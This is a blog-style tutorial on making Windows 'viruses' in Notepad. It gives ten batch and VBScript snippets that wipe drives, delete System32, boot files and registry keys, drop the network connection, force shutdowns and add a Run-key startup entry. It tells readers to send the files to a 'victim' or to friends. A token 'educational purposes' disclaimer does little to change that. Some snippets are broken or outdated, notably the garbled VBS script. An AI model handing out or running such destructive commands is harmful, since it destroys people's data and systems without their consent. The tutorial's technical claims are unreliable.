Notepad Virus : How to Create Virus using Notepad (Do It at own risk)

notepad virus
Want create site? Find Free WordPress Themes and plugins.

Did you wonder what is a notepad virus? Did you know you can create harmful and dangerous viruses for windows by using a notepad editor?

I will show you some methods to create a notepad virus that affects the internal working of a system. this notepad virus actually overwrites current system config files which results in corruption and conflict in processing in system damage. this notepad virus tutorial is for educational purposes only. don’t harm anyone system using this method.

Now I will show you different methods to how to create a notepad virus using a notepad editor

How to Create Notepad Virus using Notepad Editor

Step 1: Open notepad on your System (simply search notepad on the start menu)

Step 2: Follow the below Types to create different types of notepad viruses.

Type 1:  Dangerous Notepad Virus


@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Then save it as kinng.bat and the batch file is created.
WARNING:: This is the most dangerous virus! Be careful with its use.

Type 2: Delete the entire registry

START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

Now save it as kinng.bat and the batch file is created.

Type 3: How to crash a PC Forever

Open notepad and type/paste the following code

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Then, Save it as a Kinng.bat file.
This should shut down the person’s computer. It shuts it off once and deletes the files needed to reboot and restart.

Type 4: How to stop someone’s internet access

Open notepad and type/paste the following code

@Echo off
Ipconfig /release

Save that as a Kinng.bat and send it to someone. Their IP address will be lost, and therefore they won’t be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

Type 5: ShutDown PC million Times

Step 1: right-click on the desktop
Step 2: Click New->shortcut

you will get a dialogue box, write in it: shutdown -s -t 1000 c “any comment you want” then press next
note: this “1000” I wrote is the time in seconds needed for your computer to shut down, you can put any number you want…

Step 3: you will get another dialogue box, write in it: Internet Explorer and press finish

Step 4: you will find the icon on your desktop, don’t open it, just right-click on it and press properties>change icon>select the icon the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: The only way 2 stop your computer from shutting down is to go 2 start>run>type: shutdown -a

Type 6: System32 Virus

Open Notepad, Write/copy the below command there:

del c:\WINDOWS\system32\*.*/q

and save as ” anything.bat
Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc can’t be started.

Type 7: Local Disk Virus

Open Notepad
Copy the below command there

rd/s/q D:\
rd/s/q C:\
rd/s/q E:\

Save as “anything.bat”
This virus Formats the C, D, and E Drive in 3 Seconds.

Type 8: VBS Virus

Just open the Notepad and type or copy/paste the following Code.

set ws=createobject("")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strlog="shutdown -l"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension.

Type 9: FriendBite Virus

Convey your friend a little message and shut down his / her computer.
Just open the Notepad and type or copy/paste the following Code.

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as “Anything.BAT” in All Files and send it.

Type 10: Caps Lock Virus

Toggle your friend’s Caps Lock button simultaneously.
Just open the Notepad and type or copy/paste the following Code.

Set wshShell =wscript.CreateObject("WScript.Shell")
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"

Save it as “Anything.VBS” and send it.


I recommend you to not test these viruses on your computer. you can test it on virtual machines such as VirtualBox, VMware, etc or you can test it on windows azure virtual machines. Be careful guys! Don’t harm anyone! Thank you, guys! Have a nice day!

Did you find apk for android? You can find new Free Android Games and apps.
Notify of
Inline Feedbacks
View all comments